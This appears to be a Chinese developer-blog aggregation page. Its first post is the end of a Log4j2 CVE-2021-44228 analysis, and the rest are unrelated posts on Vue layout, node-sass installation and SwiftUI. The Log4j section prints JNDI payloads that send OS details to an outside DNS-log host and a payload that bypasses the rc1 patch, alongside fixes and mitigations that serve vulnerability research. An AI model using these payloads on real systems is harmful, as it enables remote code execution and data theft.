当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小

pic_9bb0024c.png

pic_618bede7.png

跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

pic_a1749651.png

而这里日志优先级数值小于等于200的就只有"error"、“fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是"warn"、"info"大于200的就触发不了了。

但是这里也说了是默认情况下,日志优先级是以error为准,Log4j2的缺省配置文件如下所示。





 




 


所以只需要做一点简单的修改,将中的error改成一个优先级比较低的,例如"info"这样,只要日志优先级高于或者等于info的就可以触发漏洞,修改过后如下所示



 
     
         
     
 
 
     
         
     
 

关于Jndi部分的远程类加载利用可以参考实验室往常的文章:Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解JAVA JNDI注入知识详解

0x05 敏感数据带外

当目标服务器本身受到防护设备流量监控等原因,无法反弹shell的时候,Log4j2还可以通过修改payload,来外带一些敏感信息到dnslog服务器上,这里简单举一个例子,根据Apache Log4j2官方提供的信息,获取环境变量信息除了jndi之外还有很多的选择可供使用,具体可查看前文给出的链接。根据文档中所述,我们可以用下面的方式来记录当前登录的用户名,如下所示



  %d %p %c{1.} [%t] $${env:USER} %m%n

获取java运行时版本,jvm版本,和操作系统版本,如下所示



  %d %m%n

类似的操作还有很多,感兴趣的同学可以去阅读下官方文档。

那么问题来了,如何将这些信息外带出去,这个时候就还要利用我们的dnsLog了,就像在sql注入中通过dnslog外带信息一样,payload改成以下形式

"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"

从表上看这个payload执行原理也不难,肯定是log4j2 递归解析了呗,为了严谨一下,就再废话一下log4j2解析这个payload的执行流程

首先还是来到MessagePatternConverter.format方法,然后是调用StrSubstitutor.replace方法进行字符串处理,如下图所示

pic_7f40016f.png

只不过这次迭代处理先处理了"${java:os}",如下图所示

pic_5e142fc5.png

如此一来,就来到了JavaLookup.lookup方法中,并根据传入的参数来获取指定的值

pic_827aa514.png

解析完成后然后log4j2才会去解析外层的${jndi:ldap://2lnhn2.ceye.io},最后请求的dnslog地址如下

pic_da9f36b2.png

此时就实现了将敏感信息回显到dnslog上,利用的就是log4j2的递归解析,来dnslog上查看一下回显效果,如下所示

pic_3a438ebd.png

但是这种回显的数据是有限制的,例如下面这种情况,使用如下payload

${jndi:ldap://${java:os}.2lnhn2.ceye.io}

执行完成后请求的地址如下

pic_af42e0db.png

最后会报如下错误,并且无法回显

pic_dfbae9c6.png

0x06 2.15.0 rc1绕过详解

在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出的被绕过的消息,于是第一时间也跟着研究究竟是怎么绕过的,分析完后发现,这个“绕过”属实是一言难尽,下面就针对这个绕过来解释一下为何一言难尽。

首先最重要的一点,就是需要修改配置,默认配置下是不能触发JNDI远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,所以这究竟算不算绕过,还要看各位同学自己的看法了。

首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

修改前

pic_8dc15d3c.png

修改后

pic_ede62086.png

可以很清楚的看到 增加了三个静态内部类,每个内部类都继承自MessagePatternConverter,且都实现了自己的format方法。之前执行链上的MessagePatternConverter.format()方法则变成了下面这样

pic_fe3e7fff.png

在rc1这个版本中Log4j2在初始化的时候创建的Converter也变了,

pic_81292a90.png

整理一下,可以看的更清晰一些

DatePatternConverter
SimpleLiteralPatternConverter$StringValue
ThreadNamePatternConverter
LevelPatternConverter$SimpleLevelPatternConverter
LoggerPatternConverter
MessagePatternConverter$SimpleMessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的,如下所示

pic_f57ea3ad.png

可以看到并没有对传入的数据的“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …的点就没有了么?当然不是,对“{}”的处理,开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

pic_e424c988.png

问题来了,如何才能让log4j2在初始化的时候就实例化LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法呢?

其实很简单,但这也是我说这个绕过“一言难尽”的一个点,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示



 
     
         
     
 
 
     
         
     
 

这样一来就可以触发LookupMessagePatternConverter.format()方法了,但是单单只改配置,还是不行,因为JndiManager.lookup方法也进行了修改,增加了白名单校验,这就意味着我们还要修改payload来绕过这么一个校验,校验点代码如下所示

pic_aa23e755.png

当判断以ldap开头的时候,就回去判断请求的host,也就是请求的地址,白名单内容如下所示

pic_d138eeeb.png

可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

使用marshalsec开启ldap服务后,先将payload修改成下面这样

${jndi:ldap://127.0.0.1:8088/ExportObject}

如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示

pic_b9989af6.png

这里要求javaFactory为空,否则就会返回"Referenceable class is not allowed for xxxxxx"的错误,想要绕过这一点其实也很简单,在JndiManager.lookup方法中有一个非常非常离谱的错误,就是在捕获异常后没有进行返回,甚至没有进行任何操作,我看不懂,但我大为震撼。这样导致了程序还会继续向下执行,从而走到最后的this.context.lookup()这一步 ,如下所示

pic_83144ad8.png

也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

0x07 修复&临时建议

在最新的修复https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器时新增了检查jndi协议是否启用的判断,并且默认禁用了jndi协议的使用。

pic_696b7067.png

pic_fa5ec99a.png

修复建议:

升级Apache Log4j2所有相关应用到最新版。

升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有绕过Java本身对Jndi远程加载类安全限制的风险。

临时建议:

jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)

新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)

设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)

对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。

0x08 时间线

2021年11月24日:阿里云安全团队向Apache 官方提交ApacheLog4j2远程代码执行漏洞(CVE-2021-44228)

2021年12月8日:Apache Log4j2官方发布安全更新log4j2-2.15.0-rc1,

2021年12月9日:天融信阿尔法实验室晚间监测到poc大量传播并被利用攻击

2021年12月10日:天融信阿尔法实验室于10日凌晨发布Apache Log4j2 远程代码执行漏洞预警,并于当日发布Apache Log4j2 漏洞处置方案

2021年12月10日:同一天内,网络传出log4j2-2.15.0-rc1安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为log4j2-2.15.0-rc2

2021年12月15日:天融信阿尔法实验室对该漏洞进行了深入分析并更新修复建议。

0x09 总结

log4j2这次漏洞的影响是核弹级的,堪称web漏洞届的永恒之蓝,因为作为一个日志系统,有太多的开发者使用,也有太多的开源项目将其作为默认日志系统。所以可以见到,在未来的几年内,Apache log4j2 很可能会接替Shiro的位置,作为护网的主要突破点。

该漏洞的原理并不复杂,甚至如果认真读了官方文档可能就可以发现这个漏洞,因为这次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的开发者也好,还是使用log4j2进行开发的开发者也好,他们都犯了一个致命的错误,就是相信了用户的输入。

永远不要相信用户的输入,想必这是每一个开发人员都听过的一句话,可惜,真正能做到的人太少了。对于开源软件的生态安全,也需要相关企业和组织加以关注和共同建设,安全之路任重而道远。
作者:kali_Ma
来源:https://blog.csdn.net/kali_Ma/article/details/122178627

收起阅读 »

vue+elementui项目中,页面实现自适应,缩小放大页面排版基本保持不变

问题描述:vue+elementui项目中,页面实现自适应,缩小放大页面排版基本保持不变# 解决方案:第一步:最外层div样式 :fixed(固定定位):生成绝对定位的元素,相对于浏览器窗口进行定位。元素的位置通过 “left”, “top”, “right”...
继续阅读 »

问题描述:
vue+elementui项目中,页面实现自适应,缩小放大页面排版基本保持不变

# 解决方案:
第一步:最外层div样式 :
fixed(固定定位):生成绝对定位的元素,相对于浏览器窗口进行定位。元素的位置通过 “left”, “top”, “right” 以及 “bottom” 属性进行规定
display:flex 是一种布局方式。它即可以应用于容器中,也可以应用于行内元素。是W3C提出的一种新的方案,可以简便、完整、响应式地实现各种页面布局。目前,它已经得到了所有浏览器的支持。
width: 100%,height: 100%:实现页面宽高在不同窗口下都能占满整个屏幕。

.websit{undefined
position: fixed;
display: flex;
width: 100%;
height: 100%;
}


第二步:整体页面样式分三部分,分别是页面头部的:header-two,内容部分:main,页面底部的footer,
其中,头部和底部高度是不变的,中间内容部分的高度=页面高度-头部高度-底部高度,如下
给页面最外层div设置高度:自动获取当前浏览器高度,页面初始化的时候自动获取:

header-two {undefined
padding: 0;(内边距为0)
width: 100%;(宽度自动占满)
text-align: center;(内容居中显示)
height: 80px !important;(设置固定高度)
}
.footer {undefined
padding: 0;
width: 100%;
text-align: center;
height: 126px !important;
}
:style="{minHeight :minHeight +‘px’}"
mounted() {undefined
this.minHeight = document.documentElement.clientHeight - 0;
this.marginLeft = (document.documentElement.clientWidth - 1920) / 2;
const that = this;
window.onresize = function () {undefined
that.minHeight = document.documentElement.clientHeight - 0;
that.marginLeft = (document.documentElement.clientWidth - 1920) / 2
};
}


第三步:
这里header-two 下面还要加一个div,header-div,并为其设置项目要求的最小宽度,和最大宽度,这里设置为1920,保证缩放时的样式正常,同理,底部也要加上一个div,footer-div。
header-div,footer-div{undefined
margin: auto;
text-align: center;
min-width: 1920px !important;
max-width: 1920px !important;
}
第四步:为header-div和footer-div,设置向左偏移:style="{marginLeft:marginLeft + ‘px’ }"
第五步:中间内容过多时,会产生滚动弄条,我们想让滚动条产生在最外层,也就是,中间元素被撑开,因此设置属性
.main {undefined
overflow: visible;
}
A元素具有 overflow: visible 的属性,内层内容比较多时,分两种情况讨论
A元素高度auto:无作用,A元素撑开,正常滚动
A元素具有固定高度:虽然A限制的高度,但内层内容并不会隐藏,而是完全显示在屏幕上,参与布局,甚至撑开外层dom高度
第六步:涉及背景是图片,图片实现自适应,如下

header-first {undefined
padding: 0;
width: 100%;
text-align: center;
background-repeat: no-repeat;
height: 292px !important;
background-image: url(’…/aa.png’);
background-size: cover; /* 使图片平铺满整个浏览器(从宽和高的最大需求方面来满足,会使某些部分无法显示在区域中) */
代码如下:
export default {undefined
name: ‘ContainerMoudle’,
components: {Footer, WebsitHeaderTwo},
data() {undefined
return {undefined
minHeight: 0,
marginLeft: 0
}
},
mounted() {undefined
this.minHeight = document.documentElement.clientHeight - 0;
this.marginLeft = (document.documentElement.clientWidth - 1920) / 2;
const that = this;
window.onresize = function () {undefined
that.minHeight = document.documentElement.clientHeight - 0;
that.marginLeft = (document.documentElement.clientWidth - 1920) / 2
};
},
methods: {}
}


————————————————
原文链接:https://blog.csdn.net/weixin_44039043/article/details/109393574

收起阅读 »

node-sass的坑

国内做前端的,我感觉大多被这个坑过,所有的依赖都装的上,唯有这个依赖怎么都装不上。 首先第一个需要面对的问题,其实这个依赖装不上最大的原因是他在编译安装时需要下载一个安装包,这个安装包是在github上的,由于不可说的原因,国内连github的资源服务器raw...
继续阅读 »

国内做前端的,我感觉大多被这个坑过,所有的依赖都装的上,唯有这个依赖怎么都装不上。


首先第一个需要面对的问题,其实这个依赖装不上最大的原因是他在编译安装时需要下载一个安装包,这个安装包是在github上的,由于不可说的原因,国内连github的资源服务器rawgithubusercontent是很难连接的,这也直接导致了依赖无法安装。


解法1:
淘宝镜像,也是最直接的解法,淘宝镜像中的node-sass中的安装包地址指向已经被改成了淘宝镜像中的安装包地址,安装会很顺利。
这也是官方给出的对于网络问题的解法。


npm install -g mirror-config-china --registry=http://registry.npm.taobao.org
npm install node-sass

同样的--registry或者cnpm都适合用这个方法解。


解法2:
有些人可能因为团队使用package-lock.json来规范统一团队使用的依赖,可能就没法直接通过镜像的方式来下载淘宝镜像里的包了,但是这样也是有解决办法的,手动指定node-sass使用的安装包地址。
通过npmrc


npm config set sass_binary_site "https://npm.taobao.org/mirrors/node-sass/"

也可以设置环境变量:


set SASS_BINARY_SITE=https://npm.taobao.org/mirrors/node-sass/

这样直接通过npm install时候也可以单独使用淘宝的镜像来下载安装包。


解法3:
可以指定下载路径,那自然也可以先把安装包下载下来,再指定安装包进行安装。
先去https://github.com/sass/node-sass/releases/tag/{version}或者https://npm.taobao.org/mirrors/node-sass/下下载对应的安装包:{os}-{module-version}_bingding.node,具体的version根据你的nodejs版本查询下表可得。



接下来的步骤和解法2类似,这里给出npmrc的改法


npm config set sass_binary_path [path]

解法4:
既然主要原因是功夫网,那就只能翻过去了。
先设置系统代理,然后配置npm的代理。


npm config set proxy [system proxy]

完成下载以后问题只解决了一半,下载下来的安装包还需要编译,node-sass需要一些编译环境来确保编译完成,这里有个简单的方案:


npm install -g node-gyp
npm install --global --production windows-build-tools

这个会帮你安装对应的编译环境,问题大部分都能解决,这里面包含了vs的build工具以及python。


这里有个隐藏的小坑也是关于node-gyp的,如果你的node-gyp不是全局安装,而是一个在package-lock.json中的依赖,最好检查一下node-gyp的版本,就比如说我,node-gyp被限制在了一个老的版本上,那么最大的问题就是node-gyp本身去调用的build工具的版本是由他决定的,一些较老版本的node-gyp肯定并不支持更高版本的build工具,对应的支持可以在node-gyp的MSVSVersion.py中的version_map中找到,就拿我的3.8.0举例:


  version_map = {
'auto': ('14.0', '12.0', '10.0', '9.0', '8.0', '11.0'),
'2005': ('8.0',),
'2005e': ('8.0',),
'2008': ('9.0',),
'2008e': ('9.0',),
'2010': ('10.0',),
'2010e': ('10.0',),
'2012': ('11.0',),
'2012e': ('11.0',),
'2013': ('12.0',),
'2013e': ('12.0',),
'2015': ('14.0',),
}

可以看到这里最高仅仅支持到vs2015,所以我自己手动安装了vs2015的build工具最后才能成功编译。
这里也可以手动指定msvs_version来build工具的版本,不过大部分情况下auto就够用了。


npm config set msvs_version [version]

做到这里,执行npm install大概率就没有问题了,如果有问题的话,欢迎将输出的error log分享出来看看还有没有其他隐藏的坑在里面。


作者:Sczlog
链接:https://juejin.cn/post/6914193505061453838

收起阅读 »

SwiftUI版通知栏应用开发(4) ——多语言本地化适配

iOS
开发多语言版本的 APP,估计是大家希望的,尤其对于 iOS/Mac APP 的开发,上线 App Store 多希望在其它地区也能使用,所以今天主要想学习怎么基于 SwiftUI 做一些文本和字符串文字多语言化。相信市面上不少这样的文章可供参考Project...
继续阅读 »

开发多语言版本的 APP,估计是大家希望的,尤其对于 iOS/Mac APP 的开发,上线 App Store 多希望在其它地区也能使用,所以今天主要想学习怎么基于 SwiftUI 做一些文本和字符串文字多语言化。

相信市面上不少这样的文章可供参考

Project 配置

首先,在 Project Info 选项中,选择 Localization 增加一个「中文」本地化配置,如果你需要其他语言,可以相对应的添加:

接下来,新建对应的 Group 文件夹,如本文的两个 Groupen.lprojzh-Hans.lproj

在这两个 Group 里,同时创建同名的 Strings 文件:Localizable

代码编写

创建完成之后,我们分别创建一个 Preferences demo:

在我们的主 View 上引入变量 locale

popOver.contentViewController?.view = NSHostingView(rootView: MainView().environment(\.locale, .init(identifier: "en")))

然后创建一个 Text

Text("Preferences")
.font(.customf(22))
.padding(.bottom, 10.0)

刚开始我们定义的是 en,执行看看效果:

如果我们改为 zh-Hans

MainView().environment(\.locale, .init(identifier: "zh-Hans"))

结果也就不一样了:

Locale 变化功能

基本功能实现了,接下来就是设置一个开关来变化 Locale 了。

首先,创建一个 Picker

Section(header: Text("localization")) {
Picker("", selection: $localeViewModel.localeString) {
ForEach(LocaleStrings.allCases) { localeString in
Text(localeString.rawValue)
.tag(localeString.suggestedLocalication)
}
}
.pickerStyle(SegmentedPickerStyle())
}

其中,我定义两个 enum 来做选择的类型:

enum Localication: String, CaseIterable, Identifiable {
case zh_Hans = "zh-Hans"
case en = "en"
var id: String { self.rawValue }
}

enum LocaleStrings: String, CaseIterable, Identifiable {
case zh_Hans = "中文"
case en = "English"
var id: String { self.rawValue }
}

extension LocaleStrings {
var suggestedLocalication: Localication {
switch self {
case .zh_Hans: return .zh_Hans
case .en: return .en
}
}
}

这个好理解,因为显示的 String 和提供给 locale 的字符串不一致,如显示的是「中文」,提供给 locale 的是 zh-Hans,这里我借助 suggestedLocalication 做桥梁转换。

最后,我们创建一个 Combine ViewModel 变量 localeString,以供实时变化改变本地化字符串内容。

class LocaleViewModel: ObservableObject {
@Published var localeString: Localication
}

最后,只需要在具体的 View 里加入 ViewModel 订阅变量 localeString 的更新:

// ContentView.swift

import SwiftUI

struct ContentView: View {
@ObservedObject private var timerViewModel: TimerViewModel
@ObservedObject private var localeViewModel: LocaleViewModel
init(timerViewModel: TimerViewModel, localeViewModel: LocaleViewModel) {
self.timerViewModel = timerViewModel
self.localeViewModel = localeViewModel
}

var body: some View {
Text("localization")
.font(.customf(14))
.padding()
.environment(\.locale, .init(identifier: localeViewModel.localeString.rawValue))
}
}

好了,代码编写完毕,我们运行看效果:

localechange2

小结

基本跑通本地化多语言适配流程,接下来就是不断增加新的语言和翻译工作。

未完待续

收起阅读 »

[译] SwiftUI 2 应用生命周期的终极指导

原文地址:The Ultimate Guide to the SwiftUI 2 Application Life Cycle原文作者:Peter Friese译文出自:掘金翻译计划本文永久链接:github.com/xitu/gold-m…译者:zhuzil...
继续阅读 »

在很长一段时间里,iOS 开发者们都是使用 AppDelegate 作为应用的主要入口。随着 SwiftUI 2 在 WWDC 2020 上发布,苹果公司引入了一个新的应用生命周期。新的生命周期几乎(几乎)完全与 AppDelegate 无关,为类 DSL 方法铺平了道路。

在本文中,我会讨论引入新的生命周期的原因,以及你该如何在已有的应用或新的应用中使用它。

指定应用入口

我们的第一个问题是,该如何告诉编译器哪里是应用的入口呢?SE-0281 详述了**基于类型的程序入口(Type-Based Program Entry Points)**的工作方式:

Swift 编译器将识别标注了 @main 属性的类型为程序的入口。标有 @main 的类型有一个隐式要求:类型内部需要声明一个静态 main() 方法。

创建新的 SwiftUI 应用时,应用的主类(main class)如下所示:

import SwiftUI

@main
struct SwiftUIAppLifeCycleApp: App {
var body: some Scene {
WindowGroup {
ContentView()
}
}
}

那么 SE-0281 提到的静态 main() 函数在哪儿呢?

实际上,框架可以(并且应该)为用户提供方便的默认实现。你会从上面的代码片段注意到 SwiftUIAppLifeCycleApp 遵循 App 协议。对于 App 协议,苹果提供了如下协议扩展:

@available(iOS 14.0, macOS 11.0, tvOS 14.0, watchOS 7.0, *)
extension App {

/// 初始化并运行应用。
///
/// 如果你在你的 ``SwiftUI/App`` 的实现类(conformer)的声明前加上了
/// [@main](https://docs.swift.org/swift-book/ReferenceManual/Attributes.html#ID626)
/// 属性,系统会调用这个实现类的 `main()` 方法来启动应用。
/// SwiftUI 提供了该方法的默认实现,从而能以适合平台的方式处理应用启动流程。
public static func main()
}

这下你就懂了吧 —— 这个协议扩展提供了处理应用启动的默认的实现。

由于 SwiftUI 框架不是开源的,所以我们看不到苹果是如何实现此功能的,但是 Swift Argument Parser 是开源的,并且也用了这个办法。查看 ParsableCommand 的源码,就能了解它是如何用协议扩展来提供静态 main 函数的默认实现,并将其用作程序入口的:

extension ParsableCommand {
...
public static func main(_ arguments: [String]?) {
do {
var command = try parseAsRoot(arguments)
try command.run()
} catch {
exit(withError: error)
}
}

public static func main() {
self.main(nil)
}
}

如果上述这些听起来有点复杂,好消息是实际上在创建新的 SwiftUI 应用程序时你不必关心它:只需确保在 Life Cycle 下拉菜单中选择 SwiftUI App 来创建你的应用程序就行了:

创建一个新的 SwiftUI 项目

让我们来看一些常见的情况。

初始化资源 / 你最喜欢的 SDK 或框架

大多数应用程序需要在启动时执行这些步骤:获取一些配置值,连接数据库或者初始化框架或第三方 SDK。

通常,您可以在 ApplicationDelegate 的 application(_:didFinishLaunchingWithOptions:) 方法中进行这些操作。由于已经没有应用委托了,我们需要找到其他方法来初始化我们的应用程序。根据您的特定需求,有以下策略:

  • 为你的主类实现一个构造函数(initializer)(详见文档
  • 为存储属性设置初始值(详见文档
  • 用闭包设置属性的默认值(详见文档
@main
struct ColorsApp: App {
init() {
print("Colors application is starting up. App initialiser.")
}

var body: some Scene {
WindowGroup {
ContentView()
}
}

如果上述几种策略都无法满足你的需求,你可能还是需要一个 AppDelegate。后文会介绍如果能在应用中加入一个 AppDelegate。

处理你的应用的生命周期

了解你的应用程序处于哪种状态有时很有用。例如,你可能希望应用处于活动状态时立即获取新数据,或者在应用程序变为非活动状态并转换到后台后清除所有缓存。

通常,您可以在你的 ApplicationDelegate 上实现 applicationDidBecomeActiveapplicationWillResignActive 或 applicationDidEnterBackground

从 iOS 14.0 起,苹果提供了新的 API,该 API 允许以更优雅,更易维护的方式跟踪应用程序状态:[ScenePhase](https://developer.apple.com/documentation/swiftui/scenephase)。你的项目可以有多个场景(scene),不过有时只有一个场景。这些场景将由 [WindowGroup](https://developer.apple.com/documentation/swiftui/windowgroup) 展示。

SwiftUI 追踪环境中场景的状态,你可以使用 @Environment 属性包装器来获取 scenePhase 的值,然后使用 onChange(of:) modifier 来监听该值的变化:

@main
struct SwiftUIAppLifeCycleApp: App {
@Environment(\.scenePhase) var scenePhase

var body: some Scene {
WindowGroup {
ContentView()
}
.onChange(of: scenePhase) { newScenePhase in
switch newScenePhase {
case .active:
print("App is active")
case .inactive:
print("App is inactive")
case .background:
print("App is in background")
@unknown default:
print("Oh - interesting: I received an unexpected new value.")
}
}
}
}

值得注意的是,你可以从应用中的其他位置读取该值。当在应用的顶层读取该值时(如上面的代码片段所示),你将获得应用程序中所有阶段(phase)的汇总。.inactive 表示你应用中的所有场景均未激活。当在视图中读取 scenePhase 时,你将收到包含该视图的阶段值。请记住,你的应用程序在在同一时刻可能包含在不同阶段的多个场景。想了解有关场景阶段的更多详细信息,请阅读苹果的[文档](developer.apple.com/documentati…

处理深层链接(Deeplink)

之前,在处理深层链接时,你需要实现 application(_:open:options:),并将传入的 URL 转给最合适的处理程序。

新的应用生命周期模型可以更容易地处理深层链接。在最顶层的场景上添加 onOpenURL 就可以处理传入的 URL 了:

@main
struct SwiftUIAppLifeCycleApp: App {
var body: some Scene {
WindowGroup {
ContentView()
.onOpenURL { url in
print("Received URL: \(url)")
}
}
}
}

真正酷的是:你可以在整个应用程序中装上多个 URL 处理程序 —— 让进行深层链接变得很轻松,因为你可以在最合适的位置处理传入的链接。

可能的话,你应该使用 universal links(或者 Firebase Dynamic Links,它使用了 universal links for iOS apps),因为它们使用了关联域(associated domain)来创建网站和你的应用之间的链接 —— 这会让你可以安全地共享数据。

不过,你仍可以使用自定义 URL scheme 来链接应用内部的内容。

无论哪种方式,触发应用中的深层链接的一种简单方法是在开发计算机上使用以下命令:

xcrun simctl openurl booted <your url>

Demo: Opening deep links and continuing user activities

继续用户 activity

如果你的应用使用 NSUserActivity 来集成 Siri、Handoff 或 Spotlight,你需要处理用户继续进行的 activity。

同样,新的应用生命周期模型通过提供两个 modifier 使你更容易实现这一点。这些 modifier 使你可以声明 activity 并让用户可以继续进行它们。

下面是一个展现如何声明 activity 的代码片段。在一个具体的视图里:

struct ColorDetailsView: View {
var color: String

var body: some View {
Image(color)
// ...
.userActivity("showColor") { activity in
activity.title = color
activity.isEligibleForSearch = true
activity.isEligibleForPrediction = true
// ...
}
}
}

为了允许继续进行这个 activity,你可以在最顶层的导航视图中注册 onContinueUserActivity 闭包,如下所示:

import SwiftUI

struct ContentView: View {
var colors = ["Red", "Green", "Yellow", "Blue", "Pink", "Purple"]

@State var selectedColor: String? = nil

var body: some View {
NavigationView {
ScrollView {
LazyVGrid(columns: columns) {
ForEach(colors, id: \.self) { color in
NavigationLink(destination: ColorDetailsView(color: color),
tag: color,
selection: $selectedColor) {
Image(color)
}
}
}
.onContinueUserActivity("showColor") { userActivity in
if let color = userActivity.userInfo?["colorName"] as? String {
selectedColor = color
}
}
}
}
}
}

请帮帮我 —— 上述的那些对我都不管用!

新的应用声明周期(截止当前)并非支持 AppDelegate 的所有回调函数。如果上述这些都不满足你的需求,你可能还是需要一个 AppDelegate

另一个需要 AppDelegate 的原因是你使用的第三方 SDK 会使用 method swizzling 来把它们注入应用生命周期。Firebase 就是一个典型的例子

为了帮助上述情况中的你摆脱困境,Swift 提供了一种将 AppDelegate 的一个实现类与你的 App 实现相连接的方法:@UIApplicationDelegateAdaptor。使用方法如下:

class AppDelegate: NSObject, UIApplicationDelegate {
func application(_ application: UIApplication,
didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey : Any]? = nil) -> Bool {
print("Colors application is starting up. ApplicationDelegate didFinishLaunchingWithOptions.")
return true
}
}

@main
struct ColorsApp: App {
@UIApplicationDelegateAdaptor(AppDelegate.self) var delegate

var body: some Scene {
WindowGroup {
ContentView()
}
}
}

如果你是在复制现有的 AppDelegate 实现,不要忘记删除 @main 属性 —— 不然,编译器该向你抱怨存在多个应用入口了。

总结

至此,让我们讨论一下苹果为什么要进行这些改变。我觉得有以下的几个原因:

SE-0281 explicitly states that one of the design goals was “to offer a more general purpose and lightweight mechanism for delegating a program’s entry point to a designated type.”

苹果选择的基于 DSL 来处理应用生命周期的方法和 SwiftUI 的声明式 UI 搭建方法相契合。两者采用相同的概念可以更方便新加入的开发者们理解。

声明式方法的主要好处是:框架/平台将替代开发者承受实现特定功能的负担。如果需要进行任何更改,这种模式可以在不破坏许多开发人员的应用的情况下进行发布,这也使发布更改变得更容易 —— 理想情况下,开发人员无需更改其实现,因为框架将把一切都搞定。

总体而言,新的应用生命周期模型使实现应用程序的启动更加简单。你的代码将变得更加简洁,更易于维护 —— 要我说,这总是一件好事。

我希望本文能帮你了解新的应用生命周期的来龙去脉。如果你有关于本文的任何疑问或评论,欢迎在 Twitter 上关注并私信我,或者在 GitHub 上的样例项目中提 issue。

感谢你的阅读!

扩展阅读

想了解更多,请查看下面的这些资料:

如果发现译文存在错误或其他需要改进的地方,欢迎到 掘金翻译计划 对译文进行修改并 PR,也可获得相应奖励积分。文章开头的 本文永久链接 即为本文在 GitHub 上的 MarkDown 链接。


掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 AndroidiOS前端后端区块链产品设计人工智能等领域,想要查看更多优质译文请持续关注 掘金翻译计划官方微博知乎专栏

收起阅读 »

SwiftUI 实现侧滑菜单 Side Menu

SwiftUI 实现侧滑菜单 Side Menu 效果 代码 代码里都有相关注释 源码 github 链接:gist.github.com/RandyWei/05… // // ContentView.swift // SiderMenuDemo01 ...
继续阅读 »

SwiftUI 实现侧滑菜单 Side Menu


效果


iShot2021-09-08 09.43.45.gif


代码


代码里都有相关注释


源码 github 链接:gist.github.com/RandyWei/05…



//
// ContentView.swift
// SiderMenuDemo01
//
// Created by RandyWei on 2021/9/7.
//

import SwiftUI

struct ContentView: View {

//划动偏移量
@GestureState var offset:CGFloat = 0

//滑动应该停留在某个点
//停留点: 屏幕宽度的3/5
let maxOffset:CGFloat = UIScreen.main.bounds.width * 3 / 5

//滑动展开之后的 offset
@State var expandOffset:CGFloat = 0

//回弹点:最大停留点/2
private var springOffset:CGFloat{
maxOffset / 2
}
//缩放比例,默认是1
@State private var scaleRatio:CGFloat = 1

//最小 可缩放值
let minScale:CGFloat = 0.9


private var dragGesture: some Gesture {
DragGesture()
.updating($offset, body: { value, out, _ in
//判断是否反向滑动,如果是展开状态需要反向滑动
if value.translation.width >= 0 || expandOffset != 0 {
out = value.translation.width
}
})
.onChanged { value in
//为了顺畅给缩放增加过渡
if value.translation.width >= 0 {
//对缩放比例进行计算:缩放值 = 划动比例 * 可缩放值(1-minScale)
//因为是往小了缩,所以是1-缩放值
scaleRatio = 1 - (value.translation.width / maxOffset) * (1 - minScale)
} else {
//反向value.translation.width是负数 ,所以+maxOffset变为正值
scaleRatio = 1 - ((maxOffset + value.translation.width) / maxOffset) * (1 - minScale)
}
}
.onEnded { value in
//需要判断滑动是否超过某个点来决定是重置还是停留
if value.translation.width >= springOffset {
expandOffset = maxOffset
//停止后,缩小 到0.9
scaleRatio = minScale
} else {
expandOffset = 0
scaleRatio = 1
}
}
}

var body: some View {

ZStack{

//侧边菜单层
SideMenuView()

//功能区域
FeatureView()
.offset(x: offset + expandOffset)
.scaleEffect(scaleRatio)
.animation(.easeInOut(duration: 0.05))
.gesture(dragGesture)


}

}
}

struct FeatureView:View {

var body: some View{

GeometryReader{proxy in
VStack{
HStack{
Image(systemName: "list.dash")
.resizable()
.frame(width: 20, height: 20, alignment: .center)

Text("功能区域")
.font(.title)

Spacer()
}

ScrollView(.vertical, showsIndicators: false, content: {

VStack{

ForEach(0..<50){_ in

HStack{

Image(systemName: "person")
.resizable()
.frame(width: 80, height: 80, alignment: .center)

VStack(alignment: .leading){
Text("titletitletitletitletitle")
.font(.title)

Spacer()

Text("bodybodybodybodybodybody")
.font(.body)
}

}

}.redacted(reason: .placeholder)
}

})
}
.padding(.horizontal)
.padding(.top, 8 + proxy.safeAreaInsets.top)
